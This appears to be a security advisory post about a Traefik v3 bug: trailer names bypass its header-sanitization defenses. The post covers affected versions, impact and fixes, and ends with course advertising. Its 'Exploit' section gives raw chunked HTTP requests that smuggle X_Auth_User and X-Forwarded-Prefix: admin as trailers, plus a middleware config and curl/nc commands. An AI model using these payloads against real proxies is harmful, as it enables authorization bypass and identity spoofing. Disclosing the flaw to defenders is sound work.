Listen to this Post
Traefik v3 entrypoint defenses scan req.Header only.
They never scan req.Trailer.
aliasHeadersStrategy delete/reject is affected.
underscoreHeadersStrategy delete/reject is affected.
forwardedHeaders stripping of X-Forwarded- is affected.
The handlers’ comments promise header and trailer.
The code iterates req.Header only.
An unauthenticated client can send aliasing names as trailers.
X_Auth_User and X.Auth.User are examples.
Trusted names like X-Forwarded-Prefix can also be trailers.
HTTP/1.1 chunked trailers are delivered.
HTTP/2 trailers are delivered.
reject does not return its documented 400.
delete does not remove the trailer name.
X-Forwarded- trailer form passes where header form is stripped.
Body-buffering middleware changes value survival.
Retry with statuscodes buffers via mirror.NewReusableRequest.
Buffering middleware drains body via oxy multibuf.
Values populate before http.Request.Clone.
Attacker-chosen values then travel to backend.
Bare proxy paths forward only trailer name, no value.
Declared trailer keys are pre-filled with nil values.
Go canonicalizes keys and underscores survive.
isAliasingHeaderName still detects the spelling.
Undeclared trailers need a bait declaration on HTTP/1.1 buffered chains.
HTTP/2 drops undeclared trailers.
Trailer-merging backends fold trailers over headers.
Pre-fix libevent CVE-2026-63379 is a real downstream example.
Pre-fix blaze CVE-2026-73495 is another downstream example.
Header X-Forwarded-Prefix: admin is stripped and denied.
Trailer X-Forwarded-Prefix: admin can be acted on as admin.
This bypasses a deliberate, test-locked security invariant.
Affected v3 lines are v3.2.0 through v3.7.12.
v3.2 through v3.6 are end-of-life and need upgrade to v3.7.13.
Traefik v2 is not affected because it uses stdlib httputil.ReverseProxy.
DailyCVE Form:
Platform: Traefik Proxy
Version: v3.2.0-v3.7.12
Vulnerability : Trailer sanitization bypass
Severity: Critical
date: Not Provided
Prediction: v3.7.13 release date
(end of form)
What Undercode Say:
[entryPoints.web] address = ":8090" [entryPoints.web.http] aliasHeadersStrategy = "reject"
POST / HTTP/1.1 Host: 127.0.0.1:8090 Connection: close Transfer-Encoding: chunked Trailer: X_Auth_User 5 hello 0 X_Auth_User: attacker-value
curl -H "X_Auth_User: x" http://127.0.0.1:8090/
for key := range req.Header {
if isAliasingHeaderName(key) {
delete(req.Header, key)
}
}
[http.middlewares.retry-lib.retry] attempts = 2 status = ["500-599"]
delete(req.Trailer, "X_auth_user")
gcc server.c -levent
nc 127.0.0.1 8090
Exploit: (Educational Purposes!)
POST / HTTP/1.1 Host: 127.0.0.1:8090 Connection: close Transfer-Encoding: chunked Trailer: X_Auth_User 5 hello 0 X_Auth_User: attacker-value
POST / HTTP/1.1 Host: 127.0.0.1:8090 Connection: close Transfer-Encoding: chunked Trailer: X-Forwarded-Prefix 5 hello 0 X-Forwarded-Prefix: admin
[http.routers.lib] entryPoints = ["web"] rule = "PathPrefix(<code>/</code>)" service = "lib" middlewares = ["retry-lib"] [http.middlewares.retry-lib.retry] attempts = 2 status = ["500-599"] [http.services.lib.loadBalancer.servers] [http.services.lib.loadBalancer.servers.s1] url = "http://127.0.0.1:8083"
curl --http2-prior-knowledge -H "Trailer: X_Auth_User" http://127.0.0.1:8090/
Protection: from this CVE
Upgrade to v3.7.13.
Iterate req.Trailer as well as req.Header.
Delete matching trailer entries in delete mode.
Return 400 in reject mode.
Re-apply after body final read.
Do not forward request trailer values to backend.
Sanitize DeleteXForwardedHeaders.
Avoid body-buffering middleware if untrusted trailers.
Backends should not merge trailers into headers.
Impact:
Bypass of documented defenses.
Presence-based authorization bypass 403 to 200.
Value-level identity spoofing.
Legitimate identity value erased.
Routing-header name channel.
X-Forwarded-For IP-trust bypass.
Trailer-merging backends act on smuggled names.
CVE-2026-63379 and CVE-2026-73495 patterns chained.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
